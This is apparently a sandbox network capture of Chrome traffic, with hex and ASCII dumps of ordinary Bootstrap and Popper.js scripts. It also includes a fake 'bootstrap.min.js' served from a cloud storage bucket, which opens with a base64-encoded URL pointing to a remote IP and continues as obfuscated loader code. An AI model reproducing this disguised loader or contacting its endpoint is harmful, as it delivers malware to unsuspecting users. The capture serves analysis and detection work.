2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 3d 3d 3d 68 2c Data Ascii: (t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirection=function(t,e){var n=t===h,
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 2b 69 29 2c 6f 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 Data Ascii: });P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "+i),o._isSliding=!1,setTimeou
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 3d 22 2e 22 2b 6e 2c 6f 3d 74 2e 66 6e 5b 65 5d 2c 61 3d 7b 74 6f 67 67 6c 65 3a 21 30 Data Ascii: ){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i="."+n,o=t.fn[e],a={toggle:!0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	104.17.24.14	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:02 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:02 UTC	928	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3051 Expires: Sun, 21 Sep 2025 10:21:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yE4gQFrwGQbtSRbKwfdZMisjjWkZSvLlfx7DxWzOV23JNmKgnG3TUHqQ%2FQX%2BBMXrMb4jsnp0lwO5NPiMYcRGXq07W1CjgYVtvi3Lo2VL8QC1Mzl8ogjj95WYj61sxn%2FIoV%2F4hNKP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cbbb93c2bce4382-EWR
2024-10-01 10:21:02 UTC	441	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 29 2c 72 3d 69 2e Data Ascii: mputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 65 5b Data Ascii: 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e[
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 42 4f 44 59 27 21 Data Ascii: ft-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f 2e 63 6c 69 65 6e Data Ascii: dth,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clien
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 79 6c 65 73 3a 7b Data Ascii: eprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 74 2c Data Ascii: .popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNode),t,
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 74 27 3d 3d 3d 65 Data Ascii: on(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e 3d 65 2e 70 6c 61 Data Ascii: ,'-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.pla
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 Data Ascii: ),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnPrope

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49723	49.51.77.119	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:03 UTC	626	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 6146851516-1323985617.cos.na-ashburn.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:04 UTC	430	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 562333 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 01 Oct 2024 10:21:04 GMT ETag: "8d124a28e2794cb30072930b9f1e301a" Last-Modified: Mon, 23 Sep 2024 18:52:57 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 18100179723430786964 x-cos-request-id: NjZmYmNkMGZfOTJjZDZjMWVfMmMwYzFfM2Y0ZjJlZQ==
2024-10-01 10:21:04 UTC	7774	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 59 31 4c 6a 67 35 4c 7a 59 78 4e 44 59 34 4e 54 45 31 4d 54 59 76 62 6d 56 34 64 43 35 77 61 48 41 3d 22 3b 0d 0a 76 61 72 20 5f 30 78 34 36 32 39 37 61 3d 5f 30 78 32 64 33 34 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 34 64 38 38 30 2c 5f 30 78 33 31 33 61 35 32 29 7b 76 61 72 20 5f 30 78 35 61 37 35 64 63 3d 5f 30 78 32 64 33 34 2c 5f 30 78 33 31 31 34 31 62 3d 5f 30 78 31 34 64 38 38 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 31 62 66 34 31 33 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 35 61 37 35 64 63 28 30 78 31 30 34 33 29 29 2f 28 2d 30 78 38 35 2b 2d 30 78 62 64 2a 30 78 32 37 2b 30 78 31 64 35 31 29 2b 2d Data Ascii: var file = "aHR0cDovLzE4NS4yMTUuMTY1Ljg5LzYxNDY4NTE1MTYvbmV4dC5waHA=";var _0x46297a=_0x2d34;(function(_0x14d880,_0x313a52){var _0x5a75dc=_0x2d34,_0x31141b=_0x14d880();while(!![]){try{var _0x1bf413=-parseInt(_0x5a75dc(0x1043))/(-0x85+-0xbd*0x27+0x1d51)+-
2024-10-01 10:21:04 UTC	16368	IN	Data Raw: 30 78 33 33 62 36 63 31 28 30 78 32 61 32 66 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 61 36 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 63 61 36 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 35 61 30 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 32 33 39 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 32 38 30 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 36 32 35 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 35 62 32 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 31 31 33 64 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 31 63 66 64 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 30 37 64 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 63 39 35 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 32 34 33 38 29 2b 5f 30 78 33 33 62 36 63 31 28 30 78 66 35 63 29 2b 5f 30 78 33 33 62 36 63 Data Ascii: 0x33b6c1(0x2a2f)+_0x33b6c1(0x2a6)+_0x33b6c1(0x2ca6)+_0x33b6c1(0x5a0)+_0x33b6c1(0x2239)+_0x33b6c1(0x2280)+_0x33b6c1(0x625)+_0x33b6c1(0x25b2)+_0x33b6c1(0x113d)+_0x33b6c1(0x1cfd)+_0x33b6c1(0x207d)+_0x33b6c1(0x2c95)+_0x33b6c1(0x2438)+_0x33b6c1(0xf5c)+_0x33b6c
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 33 37 65 33 63 64 28 30 78 62 64 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 65 35 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 64 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 38 33 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 64 66 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 32 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 64 61 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 38 30 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 61 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 63 30 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 37 65 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 38 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 37 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 Data Ascii: 37e3cd(0xbd9)+_0x37e3cd(0xe5e)+_0x37e3cd(0x2333)+_0x37e3cd(0xfd8)+_0x37e3cd(0x1837)+_0x37e3cd(0x1df3)+_0x37e3cd(0x1224)+_0x37e3cd(0x2dac)+_0x37e3cd(0x2806)+_0x37e3cd(0x12a1)+_0x37e3cd(0x2c07)+_0x37e3cd(0x7ed)+_0x37e3cd(0x285)+_0x37e3cd(0x37e)+_0x37e3cd(0x
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 36 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 39 32 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 37 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 61 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 30 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 38 63 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 38 62 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 39 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 63 64 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 37 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 64 31 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 38 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 64 61 37 29 2b 5f 30 78 33 37 65 33 Data Ascii: 